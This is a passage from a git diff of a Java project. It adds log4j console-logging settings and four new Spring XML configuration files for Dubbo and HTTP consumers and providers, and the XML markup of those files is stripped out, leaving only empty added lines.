+log4j.appender.stdout.Target=System.out +log4j.appender.stdout.layout=org.apache.log4j.PatternLayout +log4j.appender.stdout.layout.ConversionPattern=[%d{dd/MM/yy hh:mm:ss:sss z}] %t %5p %c{2}: %m%n + diff --git a/src/main/resources/spring/dubbo-consumer.xml b/src/main/resources/spring/dubbo-consumer.xml new file mode 100644 index 0000000..c7d5dd3 --- /dev/null +++ b/src/main/resources/spring/dubbo-consumer.xml @@ -0,0 +1,33 @@ + + + + + + + + + + + + diff --git a/src/main/resources/spring/dubbo-provider.xml b/src/main/resources/spring/dubbo-provider.xml new file mode 100644 index 0000000..2da8b61 --- /dev/null +++ b/src/main/resources/spring/dubbo-provider.xml @@ -0,0 +1,37 @@ + + + + + + + + + + + + + + + + diff --git a/src/main/resources/spring/http-consumer.xml b/src/main/resources/spring/http-consumer.xml new file mode 100644 index 0000000..c7d5dd3 --- /dev/null +++ b/src/main/resources/spring/http-consumer.xml @@ -0,0 +1,33 @@ + + + + + + + + + + + + diff --git a/src/main/resources/spring/http-provider.xml b/src/main/resources/spring/http-provider.xml new file mode 100644 index 0000000..2da8b61 --- /dev/null +++ b/src/main/resources/spring/http-provider.xml @@ -0,0 +1,37 @@ + + + + + + + + + + + + + + + +